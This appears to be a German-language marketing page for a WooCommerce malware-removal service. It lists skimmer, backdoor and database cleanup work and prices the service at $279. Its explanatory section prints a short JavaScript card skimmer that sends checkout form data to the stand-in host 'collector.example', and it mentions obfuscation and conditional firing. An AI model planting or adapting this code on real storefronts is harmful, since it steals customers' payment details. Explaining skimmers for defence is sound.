WooCommerce malware removal.

§ 01 — WAS PASSIERT

Beide Seiten der Leitung.

• [ CLIENT-SEITE ]

  Karten-Skimmer, Bezahl-Formular-Overlays, bedingte Weiterleitungen, Cryptojacker. JavaScript am Checkout zeilenweise geprüft.

• [ LEISTUNGEN ]

  Web-Shells, Backdoors, Plugin-RCE-Payloads, eingeschleuste Admin-Nutzer. Entfernt durch Lesen von Datei- und DB-Diffs, nicht durch Pattern-Matching.

• [ DB-AUDIT ]

  wp_options auf autoloaded Payloads, wp_posts auf Spam, wp_usermeta auf schlafende Rechte, wp_woocommerce_*-Tabellen auf Manipulation.

• [ PLUGIN-TRIAGE ]

  Aktive Plugins gegen veröffentlichte CVEs geprüft. Verwundbare Plugins gepatcht oder ersetzt — nicht nur deaktiviert.

• [ ABSICHERUNG ]

  wp-config, Dateiberechtigungen, Secret-Rotation, XML-RPC, REST-API und Reduktion der Login-Oberfläche.

• [ BERICHT ]

  Forensischer Bericht in Klartext: was gefunden wurde, wann es eingeführt wurde, was entfernt wurde. Übergib ihn an einen Käufer, einen Versicherer oder deinen QSA.

§ 02 — WIE EIN SKIMMER AUSSIEHT

Ein externes Skript am Checkout. Meistens war's das.

Ein WooCommerce-Skimmer ist oft eine einzige JavaScript-Einbindung auf der Checkout-Seite, die die Formularfelder des Kunden an einen Remote-Host schickt, bevor WooCommerce die Bestellung abschickt. Das Skript ist winzig, der Netzwerkaufruf sieht aus wie ein Drittanbieter-Analytics-Ping und der Kunde merkt nichts.

01 document.querySelector('form.checkout').addEventListener('submit', function (e) {
02   const data = new FormData(e.target);
03   fetch('https://collector.example/c', {
04     method: 'POST',
05     body: data,
06     mode: 'no-cors'
07   });
08 });

Echte Skimmer verschleiern das Ziel und feuern nur, wenn der Warenkorbwert ungleich null ist — die Struktur bleibt gleich. Prüfe jedes JS am Checkout, nicht nur die, an deren Installation du dich erinnerst.

§ PREISE

Pauschal $279. Einmalig. Pro Seite.